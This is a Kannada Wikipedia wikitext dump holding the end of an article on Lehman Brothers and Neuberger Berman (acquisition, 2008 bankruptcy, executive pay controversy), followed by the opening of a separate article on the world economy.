ದಶಕದಲ್ಲಿ ಸಂಸ್ಥೆಯ ಪ್ರಗತಿಯು ಆಸ್ತಿ-ನಿರ್ವಹಣಾ ಆಡಳಿತದಲ್ಲಿ ಒಟ್ಟಾರೆ ತನ್ನ ಪ್ರತಿಬಿಂಬ ತೋರಿಸಿತು. ಅದು ಮೊದಲ ಬಾರಿಗೆ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ನಲ್ಲಿ ನೊ-ಲೋಡ್ ಮುಚ್ಯುವಲ್ ಫಂಡ್ ಗಳನ್ನು ಪರಿಚಯಿಸಿತು.ದಿ ಗಾರ್ಡಿಯನ್ ಫಂಡ್ ಅಲ್ಲದೇ ಪಿಂಚಣಿ ಯೋಜನೆಗಳ ಆಸ್ತಿಗಳನ್ನು ನೋಡಿಕೊಳ್ಳಲು ಆರಂಭಿಸಿತು.ಇದರ ಜೊತೆಗೆ ಇನ್ನಿತರ ಸಂಸ್ಥೆಗಳನ್ನು ತನ್ನ ಆಡಳಿತದಡಿ ತರಲು ಯತ್ನಿಸಿತು. ಐತಿಹಾಸಿಕವಾಗಿ ಪರಿಚಿತ ಚಟುವಟಿಕೆಯಾದ ವ್ಯಾಲ್ಯು ಇನ್ವೆಸ್ಟಿಂಗ್ ಸ್ಟೈಲ್,ಅಂದರೆ ಮೌಲ್ಯ ಆಧಾರಿತ ಹೂಡಿಕೆಯ ಸೂತ್ರಗಳನ್ನು ಅಳವಡಿಸಿತು.ಅದು 1990 ರಲ್ಲಿ ತನ್ನ ಅಧಿಕ ಮೌಲ್ಯವರ್ಧನೆಯೊಂದಿಗೆ ಪ್ರಗತಿ ಆಧಾರಿತ ಹೂಡಿಕೆಯನ್ನು ಇಡೀ ಬಂಡವಾಳ ಹೂಡಿಕೆಯ ವಲಯದಲ್ಲಿ ಉತ್ತೇಜಿಸಿತು.ಅದೇ ತೆರನಾಗಿ ಹೊಸ ಹೂಡಿಕೆಯ ವರ್ಗಗಳನ್ನು ರಚಿಸಿತು.ಉದಾಹರಣೆಗಾಗಿ ಅಂತರರಾಷ್ಟ್ರೀಯ ರಿಯಲ್ ಎಸ್ಟೇಟ್ ಇನ್ವೆಸ್ಟ್ ಮೆಂಟ್ ಟ್ರಸ್ಟ್ಸ್ ಮತ್ತು ಅತ್ಯಧಿಕ ಆದಾಯದ ಹೈ ಈಲ್ಡ್ ಇನ್ವೆಸ್ಟ್ ಮೆಂಟ್ಸ್ ಗಳಲ್ಲಿ ಕೂಡಾ ತನ್ನ ಗಮನ ಹರಿಸಿತು. ಇದಕ್ಕೂ ಹೆಚ್ಚೆಂದರೆ ರಾಷ್ಟ್ರೀಯವಾಗಿ ಮತ್ತು ರಾಜ್ಯಗಳ ನಿಯಮಾವಳಿಗಳ ಟ್ರಸ್ಟ್ ಕಂಪನಿಗಳನ್ನು ಹುಟ್ಟು ಹಾಕಿತು.ಹೀಗೆ ಸಂಸ್ಥೆಯು ವಿಶ್ವಾಸ ಮತ್ತು ನಂಬಿಕೆಯ ಸೇವೆಗಳನ್ನು ನೀಡಲು ಆರಂಭಿಸಿತು. ಇಂದು ಈ ಸಂಸ್ಥೆಯು ಗರಿಷ್ಟ $130ಶತಕೋಟಿ ಮೌಲ್ಯದ ಆಸ್ತಿಗಳನ್ನು ತನ್ನ ಆಡಳಿತದಡಿ ಹೊಂದಿದೆ. [[File:Neuberger Berman by David Shankbone.JPG|thumb|left|ನ್ಯುಬರ್ಗರ್ ಬರ್ಮನ್ಸ್ ನ್ಯುಯಾರ್ಕ್ ಸಿಟಿ ಹೆಡ್ ಕ್ವಾರ್ಟರ್ಸ್ ಆನ್ ಥರ್ಡ್ ಅವೆನ್ಯು]] ಅಕ್ಟೋಬರ್ 1999 ರಲ್ಲಿ ಕಂಪನಿಯು [[ಆರಂಭಿಕ ಸಾರ್ವಜನಿಕ ಷೇರು ಬಿಡುಗಡೆ|ಆರಂಭಿಕ ಸಾರ್ವಜನಿಕ ಬಿಡುಗಡೆ]]ಯನ್ನು ಮಾಡಿ ನ್ಯುಯಾರ್ಕ್ ಸ್ಟಾಕ್ ಎಕ್ಸ್ಚೇಂಜ್ ನಲ್ಲಿ "NEU"ಎಂಬ ಸಂಕೇತದೊಂದಿಗೆ ತನ್ನ ಶೇರುಗಳಿಗೆ ಮಾರಾಟ ವೇದಿಕೆ ಒದಗಿಸಿತು. ಜುಲೈ 2003 ರಲ್ಲಿ ನಿವೃತ್ತ ನ್ಯುಬರ್ಗರ್ಸ್ ಅವರ 100 ನೆಯ ಹುಟ್ಟುಹಬ್ಬದಂದು ಅದು ತನ್ನ ವಿಲೀನವನ್ನು [[ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್|ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಹೊಲ್ಡಿಂಗ್ಸ್ ಇಂಕಾ.]]ದೊಂದಿಗೆ ಮಾಡಲು ಚರ್ಚೆ ನಡೆಸುತ್ತಿರುವುದಾಗಿ ಹೇಳಿತು.ಈ ಚರ್ಚೆಗಳು ಅಂತಿಮವಾಗಿ ಅಕ್ಟೋಬರ್ 31,2003ರಲ್ಲಿ ಸಂಸ್ಥೆಯನ್ನು ಲೆಹ್ಮನ್ ಅವರು ಅಂದಾಜು $2.63 ದಶಕೋಟಿ ನಗದು ಮತ್ತು ಸೆಕ್ಯುರಿಟೀಸ್ ನೀಡಿ ಖರೀದಿಸಿತು. ನವೆಂಬರ್ 20,2006 ರಲ್ಲಿ ಲೆಹ್ಮನ್ ಪ್ರಕಟಿಸಿದಂತೆ ತನ್ನ ನ್ಯುಬರ್ಗರ್ ಬೆರ್ಮನ್ ಅಂಗಸಂಸ್ಥೆಯು ಎಚ್.ಎ.ಸ್ಕಫ್ ಅಂಡ್ ಕಂಪನಿಯನ್ನು ವಶಪಡಿಸಿಕೊಳ್ಳುತ್ತಿದೆ ಎಂದು ಹೇಳಿತು.ಇದು ಸಿರಿವಂತರ ಠೇವಣಿಗಳ ಮೇಲೆ ಕಣ್ಣಿಟ್ಟ ಹಣಕಾಸು-ನಿರ್ವಹಣಾ ಸಂಸ್ಥೆ. ಅದರ $2.5 ದಶಕೋಟಿ ಮೌಲ್ಯದ ಆಸ್ತಿಗಳು ನ್ಯುಬರ್ಗರ್ಸ್ ನ $50 ದಶಕೋಟಿಗೆ ಸೇರಿ ಹೈ-ನೆಟ್-ವರ್ತ್ ಗ್ರಾಹಕರ ಆಸ್ತಿಗಳು ಅದರ ಸುಪರ್ದಿಗೆ ಬರಲಿವೆ.<ref>[http://today.reuters.com/news/articlebusiness.aspx?type=ousiv&amp;storyID=2006-11-20T154504Z_01_N20427604_RTRIDST_0_BUSINESSPRO-FINANCIAL-LEHMAN-SCHUPF-DC.XML&amp;WTmodLoc=BizArt-C2-NextArticle-1"] {{Webarchive|url=https://web.archive.org/web/20071001225338/http://today.reuters.com/news/articlebusiness.aspx?type=ousiv |date=2007-10-01 }} ಲೆಹ್ಮನ್,ಎಚ್. ಎ. ಸ್ಕಫ್" ನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳಲಿದೆ ರೈಟರ್ಸ್ ಸುದ್ದಿ, ನವೆಂಬರ್ 20, 2006</ref> ದಿ ವಾಲ್ ಸ್ಟ್ರೀಟ್ ಜರ್ನಲ್ ನ ಸೆಪ್ಟೆಂಬರ್ 15,2008 ರಲ್ಲಿ ಬಂದ ಲೇಖನವೊಂದರಲ್ಲಿ ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಹೊಲ್ಡಿಂಗ್ಸ್ ಚಾಪ್ಟರ್ 11 ರಡಿ ದಿವಾಳಿತನದ ರಕ್ಷಣಾ ಪ್ರಕರಣ ದಾಖಲಿಸಿದೆ ಎಂದು ಪ್ರಕಟಿಸಿತು.ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಅಧಿಕಾರಿಗಳು ಇದನ್ನು ಬಹಿರಂಗಪಡಿಸಿದ್ದರು.ಅವರು ನ್ಯುಬರ್ಗನ್ ಬೆರ್ಮನ್ ಬಗ್ಗೆ ''"ನ್ಯುಬರ್ಗರ್ಸ್ ಬೆರ್ಮನ್ ಎಲ್ ಎಲ್ ಸಿ.ಮತ್ತು ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಆಸ್ತಿ ವಹಿವಾಟಿನ ಆಡಳಿತ ವಾಡಿಕೆಯಂತೆ ಮುಂದುವರೆಯುತ್ತದೆ ಎಂದು ಹೇಳಿತಲ್ಲದೇ ಪೇರೆಂಟ್ ಕಂಪನಿಯ ಈ ದಿವಾಳಿತನದ ಪ್ರಕರಣ ಯಾವದಕ್ಕೂ ಸಂಭಂಧವಿಲ್ಲ ಎಂದು ಹೇಳಿತು.ಅದರ ಕಾರ್ಯಚಟುವಟಿಗಳು ಸ್ಥಿರವಾಗಿರುತ್ತವೆ'' ಎಂದಿತು.''ಇದಲ್ಲದೇ ನ್ಯುಬರ್ಗರ್ಸ್ ಬೆರ್ಮನ್ ನ ಗ್ರಾಹಕರ ಪೂರ್ಣ ಪ್ರಮಾಣದಲ್ಲಿ ಸಂದಾಯವಾದ ಸೆಕ್ಯುರಿಟೀಸ್ ಗಳನ್ನು ಲೆಹ್ಮನ್ ಆಸ್ತಿಗಳಿಂದ ಬೇರ್ಪಡಿಸಲಾಯಿತು.ಇವುಗಳು ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಹೊಲ್ಡಿಂಗ್ ಗೆ ಅದರ ಕ್ರೆಡಿಟರ್ಸ್ ಬೇಡಿಕೆಗಳೂ ಸಹ ಇದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಲ್ಲ ಎಂದು ಘೋಷಿಸಿತು.'' [http://online.wsj.com/article/SB122145492097035549.html ] "ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಕುಸಿತದ ಕೆಲವೇ ಸಮಯದಲ್ಲಿ ನ್ಯುಬರ್ಗರ್ಸ್ ನಲ್ಲಿದ್ದ ಕಾರ್ಯಕಾರಿ ಹಿರಿಯ ಅಧಿಕಾರಿಗಳು ತಮ್ಮ ಬಹುಕೋಟಿಯ ಆದಾಯಗಳನ್ನು ತ್ಯಜಿಸುತ್ತಿದ್ದಾರೆ."ಜನರಲ್ಲಿ ಉತ್ತಮ ಭಾವನೆ ಮೂಡಿಸುವಲ್ಲಿ ಮತ್ತು ನಂಬಿಕೆ ಬರಿಸುವಲ್ಲಿ ಅವರು ತಮ್ಮ ಜವಾಬ್ದಾರಿ ತೋರುತ್ತಿದ್ದಾರೆ,ಈಗಿನ ಈ ಪ್ರಕರಣಕ್ಕೆ ಪ್ರತ್ಯುತ್ತರವಾಗಿ ಅಲ್ಲಿನ ಉನ್ನತ ಜನರು ನೌಕರರಿಗೆ ಮತ್ತು ಬಂಡವಾಳದಾರರಿಗೆ ಆಶಾದಾಯಕವಾಗಿದ್ದಾರೆಂದು ಎಲ್ಲೆಡೆಯೂ ಇಮೇಲ್ ಸಂದೇಶಗಳನ್ನು ರವಾನಿಸಿದ್ದರು. ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಇನ್ವೆಸ್ಟ್ ಮೆಂಟ್ ಮ್ಯಾನೇಜ್ ಮೆಂಟ್ ನ ನಿರ್ದೇಶಕ ಜಾರ್ಜ್ ಹರ್ಬರ್ಟ್ ವಾಕರ್ IV ಈ ಪ್ರಸ್ತಾವನೆಯನ್ನು ತಳ್ಳಿ ಹಾಕಿದರು.ಬೋನಸ್ ಕಡಿತದ ಕುರಿತಾದ ಪ್ರಸ್ತಾವನೆಯನ್ನು ಸಲಹೆ ಮಾಡಿದ್ದಕ್ಕಾಗಿ ಅವರು ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ಕಾರ್ಯಕಾರಿ ಸಮಿತಿಗೆ ಕ್ಷಮೆಯಾಚಿಸಬೇಕಿತ್ತೆಂದು ಕೆಲವರ ವಾದ. ಆತ ಬರೆದುದು, "ತಂಡವೇ ನನ್ನನ್ನು ಕ್ಷಮಿಸಿ-ಸು. ನನಗೆ ಗೊತ್ತಿಲ್ಲ; ನ್ಯುಬರ್ಗೆರ್ ಬರ್ಮನ್ ನಲ್ಲಿ ಎಂತಹ ನೀರಿನ ಆಳವಿದೆ ಎಂಬುದರ ಬಗೆಗೆ ಖಾತ್ರಿ ಇಲ್ಲ. ನಾನು ಮಜುಗರಕ್ಕೊಳಗಾಗಿದ್ದೇನೆ ಮತ್ತು ಕ್ಷಮೆಯಾಚಿಸುತ್ತೇನೆ." [https://biz.yahoo.com/ap/081006/meltdown_lehman.html ] == ವಿವಾದಗಳು == === ಬಿಕ್ಕಟ್ಟಿನ ಸಂದರ್ಭದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಣಾಧಿಕಾರಿಯ ಸಂಬಳದ ವಿವಾದ === ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಮುಖ್ಯಸ್ಥ ರಿಚರ್ಡ್ ಫುಲ್ಡ್ U.S.ಹೌಸ್ ಆಫ್ ರಿಪ್ರೆಂಜೈಂಟಿವ್ಸ್ ಕಮೀಟಿ ಆನ್ ಒವರ್ಸೈಟ್ ಅಂಡ್ ಗವರ್ನ್ ಮೆಂಟ್ ರಿಫಾರ್ಮ್ ಮೂಲಕ ಪ್ರಶ್ನೆಗಳ ಸುರಿಮಳೆಗೆ ಈಡಾದರು. ಪ್ರತಿನಿಧಿ.ಹೆನ್ರಿ ವಾಕ್ಸ್ ಮನ್ (D-CA)ಪ್ರಶ್ನಿಸಿದರು:ನಿಮ್ಮ ಕಂಪನಿ ಈಗ ದಿವಾಳಿಯಾಗಿದೆ.ನಮ್ಮ ಅರ್ಥವಲಯವು ಬಿಕ್ಕಟ್ಟಿನಲ್ಲಿದೆ,ಆದರೆ ನೀವು $480 ದಶಲಕ್ಷವನ್ನು(£276 ದಶಲಕ್ಷ) ನಿರಂತರವಾಗಿ ಪಡೆಯುತ್ತಿದ್ದೀರಿ.(£276 ದಶಲಕ್ಷ) ನಾನೊಂದು ಮೂಲ ಪ್ರಶ್ನೆಯೊಂದನ್ನು ಕೇಳುತ್ತೇನೆ ಇದು ನಿಮಗೆ ಸಮ್ಮತಿಯಾದುದೆ?"<ref name="Fuld punched in face" /> ಫುಲ್ಡ್ ಅವರು ಹೇಳುವ ಪ್ರಕಾರ ಕಳೆದ ಎಂಟು ವರ್ಷಗಳಲ್ಲಿ ಅವರು ಒಟ್ಟು $300 ದಶಲಕ್ಷ (£173 ದಶಲಕ್ಷ)ಸಂಬಳ ಮತ್ತು ಬೋನಸ್ ರೂಪದಲ್ಲಿ ಈ ಮೊತ್ತ ಪಡೆದಿದ್ದಾರೆ.<ref name="Fuld punched in face">{{cite news | url=http://www.telegraph.co.uk/finance/financetopics/financialcrisis/3150319/Richard-Fuld-punched-in-face-in-Lehman-Brothers-gym.html | work=The Daily Telegraph | location=London | title=Richard Fuld punched in face in Lehman Brothers gym | first=Jon | last=Swaine | date=2008-10-07 | accessdate=2010-04-26 | archive-date=2010-03-15 | archive-url=https://web.archive.org/web/20100315163856/http://www.telegraph.co.uk/finance/financetopics/financialcrisis/3150319/Richard-Fuld-punched-in-face-in-Lehman-Brothers-gym.html | url-status=dead }}</ref> ಫುಲ್ಡ್ ಅವರ ಅತ್ಯಧಿಕ ಸಂಬಳದ ಬಗೆಗೆ ಎಷ್ಟೇ ಸಬೂಬು ನೀಡಿದರೂ ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ದಿವಾಳಿತನದ ಪ್ರಕರಣದ ಕೋರಿಕೆ ದಾಖಲಿಸುವ ಮುಂಚೆ ವಿಪರೀತವಾಗಿ ಅವರ ಸಂಬಳ ಏರಿಕೆ ಮಾಡಲಾಗಿತ್ತು.<ref>{{Cite web |url=http://story.malaysiasun.com/index.php/ct/9/cid/3a8a80d6f705f8cc/id/415432/cs/1/ |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-11-15 |archive-date=2011-09-28 |archive-url=https://web.archive.org/web/20110928205754/http://story.malaysiasun.com/index.php/ct/9/cid/3a8a80d6f705f8cc/id/415432/cs/1/ |url-status=dead }}</ref> ಆಗ CNBC ಅಕ್ಟೋಬರ್ 17,2008 ರಲ್ಲಿ ವರದಿ ಮಾಡಿದಂತೆ ಲೆಹ್ಮನ್ ನ ಹಲವಾರು ಅಧಿಕಾರಿಗಳು ರಿಚರ್ಡ್ ಫುಲ್ಡ್ ಒಳಗೊಂಡಂತೆ ಸೆಕ್ಯುರಿಟಿಯ ಮೋಸ ಪ್ರಕರಣದಲ್ಲಿ ನ್ಯಾಯಾಲಯದ ಮುಂದೆ ಹಾಜರಾಗುವಂತೆ ಆದೇಶ ಹೊರಡಿಸಲಾಗಿತ್ತು.{{Citation needed|date=March 2009}} === ಬೇರೆ ಕಂಪನಿಗಳ ಮೂಲಕ ಲೆಕ್ಕಪತ್ರಗಳಲ್ಲಿ ಕುಶಲತೆಯಿಂದ ದುರುಪಯೋಗ === ನ್ಯುಯಾರ್ಕ್ ಟೈಮ್ಸ್ ನ ಏಪ್ರಿಲ್ 12,2010 ದ ವಿಶೇಷ ವರದಿ ಪ್ರಕಾರ ಲೆಹ್ಮನ್ ತನ್ನ ಕಾರ್ಯಚಟುವಟಿಕೆಗಳಿಗಾಗಿ ಸಣ್ಣ ಕಂಪನಿಯಾದ ಹಡ್ಸನ್ ಕ್ಯಾಸ್ಟಲ್ ನ್ನು ಬಳಸಿಕೊಳ್ಳಲು ಆರಂಭಿಸಿತು.ಲೆಹ್ಮನ್ ನ ಲೆಕ್ಕದಖಾತೆ ಪುಸ್ತಕದಲ್ಲಿನ ಹಲವಾರು ಅಂಕಿಅಂಶಗಳು ಮತ್ತು ಲೆಹ್ಮನ್ ನ ಹಣಕಾಸಿನ ಜವಾಬ್ದಾರಿ ಮತ್ತು ಋಣಭಾದೆಗಳನ್ನು ಅಪರಾತಪರಾ ಮಾಡಲು ಮುಂದಾಯಿತು. ಲೆಹ್ಮನ್ ನ ಓರ್ವ ಕಾರ್ಯನಿರ್ವಹಣಾಧಿಕಾರಿಯು ಹಡ್ಸನ್ ಕ್ಯಾಸ್ಟಲ್ ನ್ನು ಇದೊಂದು ಲೆಹ್ಮನ್ ನ "ಪರ್ಯಾಯ ಧಿಮಾಕು" ಎಂದು ವರ್ಣಿಸಿದ್ದರು. ಕಥೆ ಪ್ರಕಾರ ಲೆಹ್ಮನ್, ಹಡ್ಸನ್ ಕಂಪನಿಯ ಒಂದು ಕಾಲು ಭಾಗದಷ್ಟನ್ನು ಒಡೆತನ ಹೊಂದಿತ್ತು.ಹಡ್ಸನ್ ನ ಆಡಳಿತ ಮಂಡಳಿಯು ಲೆಹ್ಮನ್ ನಿಂದ ನಿಯಂತ್ರಿಸಲ್ಪಡುತಿತ್ತು.ಹಡ್ಸನ್ ನ ಬಹುತೇಕ ಸಿಬ್ಬಂದಿಯು ಈ ಮೊದಲು ಲೆಹ್ಮನ್ ನಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತಿತ್ತು.<ref>{{cite news | url=https://www.nytimes.com/2010/04/13/business/13lehman.html | title=Lehman Channeled Risks Through ‘Alter Ego’ Firm | publisher=The New York Times | date=2010-04-12 | accessdate=2010-05-25 | first=Louise | last=Story | coauthors=Eric Dash}}</ref> ==ಇವನ್ನೂ ನೋಡಿ== {{Wikinewspar|Lehman Brothers files for bankruptcy}} *ವಾಲುಕಾಸ್ ರಿಪೊರ್ಟ್ *ಬಿಯರ್ ಸ್ಟ್ರೀರ್ನ್ಸ್ *ಇಸವಿ 2007-2008ರ ಹಣಕಾಸಿನ ಬಿಕ್ಕಟ್ಟಿನಲ್ಲಿ ಸಿಲುಕಿದ್ದ ಸಂಸ್ಥೆಗಳ ಪಟ್ಟಿ *ಸಬ್‌ಪ್ರೈಮ್‌ ಕ್ರೈಸಿಸ್‌ ಇಂಪ್ಯಾಕ್ಟ್‌ ಟೈಮ್‌ಲೈನ್‌ *ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಹೌಸಿಂಗ್ ಮಾರ್ಕೆಟ್ ಕರೆಕ್ಷನ್ *ಫೆಡ್ರಲ್ ಟೇಕ್ ಒವರ್ ಆಫ್ ಫ್ಯಾನ್ನೆ ಮೆಯ್ ಅಂಡ್ ಫ್ರೆಡ್ಡಿ ಮ್ಯಾಕ್ *''ಎ ಕೊಲೊಸೊಲ್ ಫೈಲ್ಯುವರ್ ಆಫ್ ಕಾಮನ್ ಸೆನ್ಸ್'' == ಉಲ್ಲೇಖಗಳು == {{reflist|2}} ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು== *[http://www.channel4.com/news/articles/business_money/who+really+pulled+the+trigger+on+lehman/3319992 ಚಾನಲ್ 4 ನಿವ್ಸ್: ಹೌ ಬ್ರಿಟೇನ್ ಕುಡ್ ಹ್ಯಾವ್ ಸೇವ್ಡ್ ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್] {{Webarchive|url=https://web.archive.org/web/20100704072610/http://www.channel4.com/news/articles/business_money/who+really+pulled+the+trigger+on+lehman/3319992 |date=2010-07-04 }} {{2008 economic crisis}} {{DEFAULTSORT:Lehman Brothers}} [[ವರ್ಗ:ಅಧ್ಯಾಯ 11 ದಿವಾಳಿತನಕ್ಕಾಗಿ ಫೈಲ್ ಮಾಡಿದ ಕಂಪನಿಗಳು]] [[ವರ್ಗ:2000ರ ಅರ್ಥಶಾಸ್ತ್ರದ ಇತಿಹಾಸ]] [[ವರ್ಗ:ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್]] [[ವರ್ಗ:ಬ್ಯಾಂಕ್ ವೈಫಲ್ಯಗಳು]] sujorjk33792tjeyoy6kg2ofgy1bi50 ವಿಶ್ವ ಆರ್ಥಿಕತೆ 0 26256 1116472 1062074 2022-08-23T13:21:48Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Update|date=April 2010}} {{World economy infobox}} '''ವಿಶ್ವ''' ಅಥವಾ '''ಜಾಗತೀಕ ಆರ್ಥಿಕತೆ (ಗ್ಲೋಬಲ್ ಎಕಾನಮಿ)''' ಎಂದರೆ ವಿಶ್ವದ ಎಲ್ಲ ದೇಶಗಳ ರಾಷ್ಟ್ರೀಯ ಆರ್ಥಿಕ ಪರಿಸ್ಥಿತಿ ಮೇಲೆ ಅವಲಂಬಿತವಾಗಿರುವ ಸಮಗ್ರ ಆರ್ಥಿಕ ಪರಿಸ್ಥಿತಿ. ಈ ಸಮಗ್ರ ಆರ್ಥಿಕತೆಯನ್ನು ವಿಶ್ವ ಸಮುದಾಯದ ಆರ್ಥಿಕತೆಯೆಂದು ನೋಡಲಾಗುತ್ತಿದ್ದು, ರಾಷ್ಟ್ರೀಯ ಆರ್ಥಿಕತೆಯು ಸ್ಥಳೀಯ ಸಮಾಜಗಳ ಆರ್ಥಿಕ ಸ್ಥಿತಿಯಾಗಿದ್ದು, ಅದು ವಿಶ್ವದ ಆರ್ಥಿಕತೆಯನ್ನು ರೂಪಿಸುವಂತಹದ್ದಾಗಿರುತ್ತದೆ. ಇದನ್ನು ಹಲವಾರು ವಿಧದ ಮಾದರಿಗಳಲ್ಲಿ ಅಥವಾ ವಿಧಾನಗಳಲ್ಲಿ ಮೌಲ್ಯಮಾಪನ ಮಾಡಲಾಗುತ್ತದೆ. ಉದಾಹರಣೆಗೆ, ಇಲ್ಲಿ ಯಾವ ಮಾದರಿಯನ್ನು ಬಳಸಲಾಗುತ್ತದೆ ಎಂಬುದರ ಮೇಲೆ ನಿರ್ಧರಿಸಲಾಗುತ್ತಿದ್ದು, ಕೆಲವು ದೇಶಗಳಲ್ಲಿ ಚಾಲ್ತಿಯಲ್ಲಿರುವ 2006ರ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಡಾಲರ್|ಅಮೆರಿಕಾ ಡಾಲರ್‌]]ಗಳಂತಹ [[ನಗದು|ಕರೆನ್ಸಿ (ಹಣ)]] ಯಿಂದ ಮೌಲ್ಯಮಾಪನ ಮಾಡಲಾಗುತ್ತದೆ. ಇದನ್ನು [[ಭೂಮಿ|ಭೌಗೋಳಿಕ ಮತ್ತು ಪರಿಸರ ವಿಜ್ಞಾನ]]ದಿಂದ ಬೇರ್ಪಡಿಸಲು ಸಾಧ್ಯವಿಲ್ಲ ಮತ್ತು ಈ ಕಾರಣದಿಂದ ತಪ್ಪು ಅಳತೆಯನ್ನು ಹೊಂದಬೇಕಾಗುತ್ತದೆ. ಈಗಲೂ, ವಿಶ್ವ ಆರ್ಥಿಕತೆ ಬಗ್ಗೆ ಇರುವ ವ್ಯಾಖ್ಯಾನಗಳು ಮತ್ತು ಹೇಳಿಕೆಗಳು ಬಹಳ ವ್ಯತ್ಯಾಸದಿಂದ ಕೂಡಿವೆ. ಪರಿಗಣನೆಗೆ ತೆಗೆದುಕೊಂಡ ಸಂಪನ್ಮೂಲಗಳು ಅಥವಾ [[ಭೂಮಿ]]ಯ ಹೊರಗಿನ ಮೌಲ್ಯಕ್ಕೆ ಸಂಬಂಧಪಟ್ಟದ್ದರಲ್ಲಿ ಕೆಲವನ್ನು ಹೊರಗಿಡಬೇಕು. ಉದಾರಣೆಗೆ ಕೆಲವು ಅಂಶಗಳನ್ನು ಮೌಲ್ಯಮಾಪನಕ್ಕಾಗಿ ಗಣನೆಗೆ ತೆಗೆದುಕೊಂಡಾಗ [[ಅಂಟಾರ್ಕ್ಟಿಕ|ಅಂಟಾರ್ಟಿಕಾ]]ದ ವಾರಸುದಾರರಿಲ್ಲದ ವಾಣಿಜ್ಯಕ್ಷೇತ್ರದಲ್ಲಿ ಬಳಸಿಕೊಂಡುದರಿಂದ ಗಣಿಗಾರಿಕೆ ಅವಕಾಶಗಳ ಮೌಲ್ಯಗಳನ್ನು ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ ಹಾಗೂ [[ಮಂಗಳ (ಗ್ರಹ)|ಮಂಗಳ]] ನಲ್ಲಿ ಇದೇ ರೀತಿಯ ಅವಕಾಶಗಳಿದ್ದರೂ ಅದನ್ನು ವಿಶ್ವ ಆರ್ಥಿಕತೆಯಲ್ಲಿ ಪರಿಗಣನೆಗೆ ತೆಗೆದುಕೊಳ್ಳಲು ಆಗುವುದಿಲ್ಲ. ಈಗ ಪ್ರಸ್ತುತ ಹಲವು ಭಾಗಗಳಲ್ಲಿ ಇದನ್ನು ಬಳಸಿಕೊಂಡಿದ್ದಲ್ಲಿ ಮತ್ತು ಅವುಗಳನ್ನು ಗುಪ್ತ ಮೌಲ್ಯವಾಗಿ ತಾನೇ ಅಸ್ತಿತ್ವಕ್ಕೆ ಬಂದ ಬೌದ್ಧಿಕ ಆಸ್ತಿಯಲ್ಲಿ ಇದನ್ನು ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ. ಅವುಗಳಾದ ಈ ಮೊದಲು ಗ್ರಹಿಸಿರದ ಆವಿಷ್ಕಾರಗಳಾಗಿರುತ್ತದೆ. ಸ್ವಲ್ಪಮಟ್ಟಿನ ಪರಿಗಣಿತ ಉತ್ಪಾದನೆಯ ಮೌಲ್ಯಗಳ ಮಾನದಂಡಗಳಿಂದ ಆಚೆಗೆ ಬಳಸಲಾಗಿ ಮತ್ತು ಭೂಗ್ರಹದಲ್ಲಿ ಬದಲಾಯಿಸಿಕೊಳ್ಳಬಹುದು. ಇವುಗಳ ವ್ಯಾಖ್ಯಾನಗಳು, ಹೇಳಿಕೆಗಳು, ವಿಧಾನಗಳು, ಮೌಲ್ಯಮಾಪನಗಳು ವಿಶ್ವ ಆರ್ಥಿಕತೆಯಲ್ಲಿ ಬಹಳ ವಿಸ್ತಾರವಾಗಿದೆ. ವಿಶ್ವ ಆರ್ಥಿಕತೆ ಬಗ್ಗೆ ಸಾಮಾನ್ಯವಾದ ಮಿತ ಪ್ರಶ್ನೆಗಳಿದ್ದು, [[ಅರ್ಥಶಾಸ್ತ್ರ|ಮಾನವನ ಆರ್ಥಿಕ ಚಟುವಟಿಕೆ]]ಯನ್ನು ಇದರಿಂದ ಪ್ರತ್ಯಕವಾಗಿ ನೋಡಲಾಗುತ್ತದೆ. ವಿಶ್ವ ಆರ್ಥಿಕತೆಯು ಪ್ರಾತಿನಿಧಿಕವಾಗಿ ನಾಣ್ಯಗಳ ಮಾದರಿಯಲ್ಲಿ ನಿರ್ಧರಿಸಲ್ಪಡುತ್ತದೆ. ಕೆಲವು ಸಂದರ್ಭಗಳಲ್ಲಿ ಸಮರ್ಥ ಮಾರುಕಟ್ಟೆಯು ಲಭಿಸದಿದ್ದಾಗ ಸರಕು ಮತ್ತು ಸೇವೆಯನ್ನು ಮೌಲ್ಯಮಾಪನ ಮಾಡಲು ಸಾಧ್ಯವಾಗುವುದಿಲ್ಲ. ಅಥವಾ ವೈಯುಕ್ತಿಕ ಸಂಶೋಧನೆಯ ಕೊರತೆಯಿಂದ ಅಥವಾ ಸರ್ಕಾರಗಳ ಸಹಕಾರವು ಚಿತ್ರಣಗಳ ವಿಸ್ತರಣೆಗೆ ತೊಂದರೆಯಾಗುತ್ತದೆ. ಪ್ರಾತಿನಿಧಿಕ ಉದಾಹರಣೆ ಕೊಡುವುದಾದರೆ, ಅಕ್ರಮ ಔಷಧಿಗಳು ಮತ್ತು ಇತರ [[ಕಪ್ಪು ಹಣ|ಕಪ್ಪು ಮಾರುಕಟ್ಟೆ ಸರಕು]]ಗಳು ಇವು ವಿಶ್ವ ಆರ್ಥಿಕತೆಯ ಯಾವುದೇ ಮಾನದಂಡದಲ್ಲಿ ಬರುತ್ತವೆ. 